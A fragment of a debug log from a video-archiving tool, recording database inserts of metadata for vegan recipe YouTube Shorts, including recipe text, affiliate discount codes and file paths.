\u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n4. Protein Pizza: \u00A0\u00A0\u00A0•\u00A0This\u00A0PROTEIN\u00A0PIZZA\u00A0has\u00A092g\u00A0protein?!\u00A0🍕\u00A0(ve...\u00A0\u00A0\n5. Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Healthy Protein Cereal with 30g PROTEIN! 🥣 (vegan and gluten free)", "e2b2e924-cec9-44bb-93b0-ea0eca49a63f", 1, [], false, "YHV_s--6B7k", "https://www.youtube.com/shorts/YHV_s--6B7k", 25, "/downloads/downloads/alec/Steamy Vegan/2025-09-05 Healthy Protein Cereal with 30g PROTEIN! 🥣 (vegan and gluten free)/Healthy Protein Cereal with 30g PROTEIN! 🥣 (vegan and gluten free) [YHV_s--6B7k].NA", false, false, true, 1, ~U[2025-09-05 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This vegan breakfast recipe is a game changer if you're looking for a high protein breakfast to start your day! I now meal prep this protein cereal every single week and it's the highest protein cereal you'll find on the internet at 30g of protein per bowl. \n\nProtein Powder Featured in this Episode: \nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGet the full recipe for PROTEIN CEREAL on my blog ➡️ https://steamyvegan.com/protein-cereal/\n\nOTHER PROTEIN POWDERS YOU COULD USE\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n4. Protein Pizza: \u00A0\u00A0\u00A0•\u00A0This\u00A0PROTEIN\u00A0PIZZA\u00A0has\u00A092g\u00A0protein?!\u00A0🍕\u00A0(ve...\u00A0\u00A0\n5. Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Healthy Protein Cereal with 30g PROTEIN! 🥣 (vegan and gluten free)", 1, nil, false, "YHV_s--6B7k", "https://www.youtube.com/shorts/YHV_s--6B7k", "/downloads/downloads/alec/Steamy Vegan/2025-09-05 Healthy Protein Cereal with 30g PROTEIN! 🥣 (vegan and gluten free)/Healthy Protein Cereal with 30g PROTEIN! 🥣 (vegan and gluten free) [YHV_s--6B7k].NA", true, ~U[2025-09-05 00:00:00Z]] 20:31:08.977 [debug] QUERY OK source="sources" db=1.4ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.980 [debug] QUERY OK source="media_items" db=2.5ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-04 00:00:00Z], 1] 20:31:08.982 [debug] QUERY OK source="media_items" db=1.8ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This protein pizza recipe has a high-protein crust that gives you 31g of protein per 2 slices and best of all it's vegan and gluten-free. The whole pizza has at least 92g of vegan protein! It is cheaper than store bought gluten-free pizza crusts, is easy and takes 5 minutes to make, and uses tofu and lupin flour to make it so high-protein.\n\nMACROS MATH ⬇️\nThe entire pizza crust has 92g of protein so depending on how many slices you cut and eat, this are the rough macros you can expect per slice (not including toppings)\n4 slices = 23g protein per slice (** I made an error in the video stating 31g, which is incorrect and reflects the amount per 2 slices if you cut the pizza into 6 slices! 😅)\n6 slices = 15g protein per slice\n\nProtein Pizza Recipe (hitting blog soon, for now enjoy it here!)\nIngredients:\n1 12-oz block extra firm tofu\n50g lupin flour (about ¼ cup)\n3 tbsp nutritional yeast \n¼ cup + 2 tbsp unsweetened soy mik\n3 cloves garlic\n¾ tsp salt\nOptional add-ins:\n1 tsp onion powder\n1 tsp fresh rosemary, chopped\n½ tsp red chili flakes\nFinely chopped olives\n\n1. Preheat oven to 425°F and line a baking sheet with parchment paper. \nCrumble the block of extra firm tofu into the bowl of a food processor along with all the remaining ingredients. Seal the lid and process the ingredients on high-speed until a thick dough-like consistency is reached.\n2. Transfer the pizza dough onto the parchment lined tray and with dampened hands, press down into the dough and shape it into a flat round pizza crust, about 10\" in diameter.\n3. Pop into the oven and bake for 20 minutes until becoming golden and slightly crisped around the edges. Remove from oven and top with your favourite toppings, then bake for a further 10 minutes until the edges of the crust are deeper golden.\n\nHigh-protein pesto in this pasta recipe here ➡️ https://steamyvegan.com/protein-pesto...\n\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Protein Pizza Recipe 🍕92g protein, vegan, and gluten-free", "22b3a398-f681-4d14-9aaa-780af72fadf5", 1, [], false, "YX1J-SuqO3A", "https://www.youtube.com/shorts/YX1J-SuqO3A", 26, "/downloads/downloads/alec/Steamy Vegan/2025-09-04 Protein Pizza Recipe 🍕92g protein, vegan, and gluten-free/Protein Pizza Recipe 🍕92g protein, vegan, and gluten-free [YX1J-SuqO3A].NA", false, false, true, 1, ~U[2025-09-04 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This protein pizza recipe has a high-protein crust that gives you 31g of protein per 2 slices and best of all it's vegan and gluten-free. The whole pizza has at least 92g of vegan protein! It is cheaper than store bought gluten-free pizza crusts, is easy and takes 5 minutes to make, and uses tofu and lupin flour to make it so high-protein.\n\nMACROS MATH ⬇️\nThe entire pizza crust has 92g of protein so depending on how many slices you cut and eat, this are the rough macros you can expect per slice (not including toppings)\n4 slices = 23g protein per slice (** I made an error in the video stating 31g, which is incorrect and reflects the amount per 2 slices if you cut the pizza into 6 slices! 😅)\n6 slices = 15g protein per slice\n\nProtein Pizza Recipe (hitting blog soon, for now enjoy it here!)\nIngredients:\n1 12-oz block extra firm tofu\n50g lupin flour (about ¼ cup)\n3 tbsp nutritional yeast \n¼ cup + 2 tbsp unsweetened soy mik\n3 cloves garlic\n¾ tsp salt\nOptional add-ins:\n1 tsp onion powder\n1 tsp fresh rosemary, chopped\n½ tsp red chili flakes\nFinely chopped olives\n\n1. Preheat oven to 425°F and line a baking sheet with parchment paper. \nCrumble the block of extra firm tofu into the bowl of a food processor along with all the remaining ingredients. Seal the lid and process the ingredients on high-speed until a thick dough-like consistency is reached.\n2. Transfer the pizza dough onto the parchment lined tray and with dampened hands, press down into the dough and shape it into a flat round pizza crust, about 10\" in diameter.\n3. Pop into the oven and bake for 20 minutes until becoming golden and slightly crisped around the edges. Remove from oven and top with your favourite toppings, then bake for a further 10 minutes until the edges of the crust are deeper golden.\n\nHigh-protein pesto in this pasta recipe here ➡️ https://steamyvegan.com/protein-pesto...\n\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Protein Pizza Recipe 🍕92g protein, vegan, and gluten-free", 1, nil, false, "YX1J-SuqO3A", "https://www.youtube.com/shorts/YX1J-SuqO3A", "/downloads/downloads/alec/Steamy Vegan/2025-09-04 Protein Pizza Recipe 🍕92g protein, vegan, and gluten-free/Protein Pizza Recipe 🍕92g protein, vegan, and gluten-free [YX1J-SuqO3A].NA", true, ~U[2025-09-04 00:00:00Z]] 20:31:08.983 [debug] QUERY OK source="sources" db=0.6ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.986 [debug] QUERY OK source="media_items" db=2.2ms idle=9.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-29 00:00:00Z], 1] 20:31:08.988 [debug] QUERY OK source="media_items" db=1.6ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These protein brownies are super high-protein with 10g protein and low calorie with only 215 calories while being a vegan, gluten-free, oil-free, dairy-free, and refined sugar free recipe. This vegan recipe is great for anyone craving a high-protein dessert that'll help you build muscle and drop weight while enjoying something ooey, gooey and so chocolate-y!\n\nGet the recipe on my blog! ➡️ https://steamyvegan.com/healthy-prote...\n\nProtein Powder Featured in this Episode:\nVedge Nutrition\nDiscount = 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n💚 OTHER PRODUCTS I'D RECOMMEND FOR THIS RECIPE💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nWhy? Give your brownies a coffee punch!\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nWhy? One of the cleanest protein powders on the market\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nWhy? Great selection of flavours, their Complete Coffee would be epic for this\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nWhy? The best protein powder for anyone living in Canada. Try their mint chocolate chip or Mocha flavours in this recipe\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nVivoLife Protein Powder: 15% off your first purchase\nWhy? Great for anyone living in the UK or US and super clean\nCode: just use the below link, the discount should come up at checkout\nUS Customers: https://www.vivolife.com/steamy15\nUK Customers: https://www.vivolife.co.uk/STEAMYVEGAN\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Protein Brownies Recipe 💪🍫", "677795f1-d0d1-4989-948e-1eecd93037fd", 1, [], false, "B_Aid5M9ue8", "https://www.youtube.com/shorts/B_Aid5M9ue8", 27, "/downloads/downloads/alec/Steamy Vegan/2025-08-29 Protein Brownies Recipe 💪🍫/Protein Brownies Recipe 💪🍫 [B_Aid5M9ue8].NA", false, false, true, 1, ~U[2025-08-29 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "These protein brownies are super high-protein with 10g protein and low calorie with only 215 calories while being a vegan, gluten-free, oil-free, dairy-free, and refined sugar free recipe. This vegan recipe is great for anyone craving a high-protein dessert that'll help you build muscle and drop weight while enjoying something ooey, gooey and so chocolate-y!\n\nGet the recipe on my blog! ➡️ https://steamyvegan.com/healthy-prote...\n\nProtein Powder Featured in this Episode:\nVedge Nutrition\nDiscount = 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n💚 OTHER PRODUCTS I'D RECOMMEND FOR THIS RECIPE💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nWhy? Give your brownies a coffee punch!\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nWhy? One of the cleanest protein powders on the market\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nWhy? Great selection of flavours, their Complete Coffee would be epic for this\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nWhy? The best protein powder for anyone living in Canada. Try their mint chocolate chip or Mocha flavours in this recipe\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nVivoLife Protein Powder: 15% off your first purchase\nWhy? Great for anyone living in the UK or US and super clean\nCode: just use the below link, the discount should come up at checkout\nUS Customers: https://www.vivolife.com/steamy15\nUK Customers: https://www.vivolife.co.uk/STEAMYVEGAN\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Protein Brownies Recipe 💪🍫", 1, nil, false, "B_Aid5M9ue8", "https://www.youtube.com/shorts/B_Aid5M9ue8", "/downloads/downloads/alec/Steamy Vegan/2025-08-29 Protein Brownies Recipe 💪🍫/Protein Brownies Recipe 💪🍫 [B_Aid5M9ue8].NA", true, ~U[2025-08-29 00:00:00Z]] 20:31:08.989 [debug] QUERY OK source="sources" db=0.5ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.992 [debug] QUERY OK source="media_items" db=1.9ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-28 00:00:00Z], 1] 20:31:08.993 [debug] QUERY OK source="media_items" db=1.2ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today's tofu recipe is a kung pao tofu stir fry and we're making this vegan recipe gluten-free, high-protein, and of course plant-based! This vegan recipe is adjustable for your spice level tolerance and has a sauce that's sweet, savoury, and spicy all wrapped into one vegan recipe. \n\nKUNG PAO TOFU STIR FRY RECIPE ➡️ https://steamyvegan.com/kung-pao-tofu/\n\nBelow are some of the recent tofu recipes I've featured on the channel:\nGochujang and Mango Tofu: \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nPeach Salsa Salad and Zucchini Tofu Bacon Salad: \u00A0\u00A0\u00A0•\u00A02\u00A0High\u00A0Protein\u00A0Summer\u00A0Salad\u00A0Recipes\u00A0☀️\u00A0\u00A0\nGinger Sesame Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "Kung Pao Tofu Stir Fry 🍚🌶️🤤", "f9650b1e-146a-460c-9897-d974f605dd52", 1, [], false, "NYPdblpPDGQ", "https://www.youtube.com/shorts/NYPdblpPDGQ", 28, "/downloads/downloads/alec/Steamy Vegan/2025-08-28 Kung Pao Tofu Stir Fry 🍚🌶️🤤/Kung Pao Tofu Stir Fry 🍚🌶️🤤 [NYPdblpPDGQ].NA", false, false, true, 1, ~U[2025-08-28 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Today's tofu recipe is a kung pao tofu stir fry and we're making this vegan recipe gluten-free, high-protein, and of course plant-based! This vegan recipe is adjustable for your spice level tolerance and has a sauce that's sweet, savoury, and spicy all wrapped into one vegan recipe. \n\nKUNG PAO TOFU STIR FRY RECIPE ➡️ https://steamyvegan.com/kung-pao-tofu/\n\nBelow are some of the recent tofu recipes I've featured on the channel:\nGochujang and Mango Tofu: \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nPeach Salsa Salad and Zucchini Tofu Bacon Salad: \u00A0\u00A0\u00A0•\u00A02\u00A0High\u00A0Protein\u00A0Summer\u00A0Salad\u00A0Recipes\u00A0☀️\u00A0\u00A0\nGinger Sesame Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "Kung Pao Tofu Stir Fry 🍚🌶️🤤", 1, nil, false, "NYPdblpPDGQ", "https://www.youtube.com/shorts/NYPdblpPDGQ", "/downloads/downloads/alec/Steamy Vegan/2025-08-28 Kung Pao Tofu Stir Fry 🍚🌶️🤤/Kung Pao Tofu Stir Fry 🍚🌶️🤤 [NYPdblpPDGQ].NA", true, ~U[2025-08-28 00:00:00Z]] 20:31:08.994 [debug] QUERY OK source="sources" db=0.7ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.997 [debug] QUERY OK source="media_items" db=2.0ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-20 00:00:00Z], 1] 20:31:09.002 [debug] QUERY OK source="media_items" db=4.3ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This fun summer salad recipe uses up your zucchinis and is also a creative vegan recipe to make tofu bacon. In this video, I'll teach all about the vegan 'bacon' sauce that I've been using for years, an amazing salad dressing to use on any salad recipe, and how to get crispy vegan bacon from tofu. \n\nReally hope you enjoy these and don't forget to subscribe for more high protein plant-based recipes!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nPeach Salsa Salad ➡️ https://steamyvegan.com/peach-salsa-s...\nTofu Bacon & Zucchini Salad ➡️ https://steamyvegan.com/tofu-bacon-zu...\n\nPrevious tofu recipes to check out on the channel:\n1. 3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n2. Mapo Tofu: \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\n3. Tofu Tikka Masala: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n\n💚 SHOP MY FAVE PRODUCTS 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business 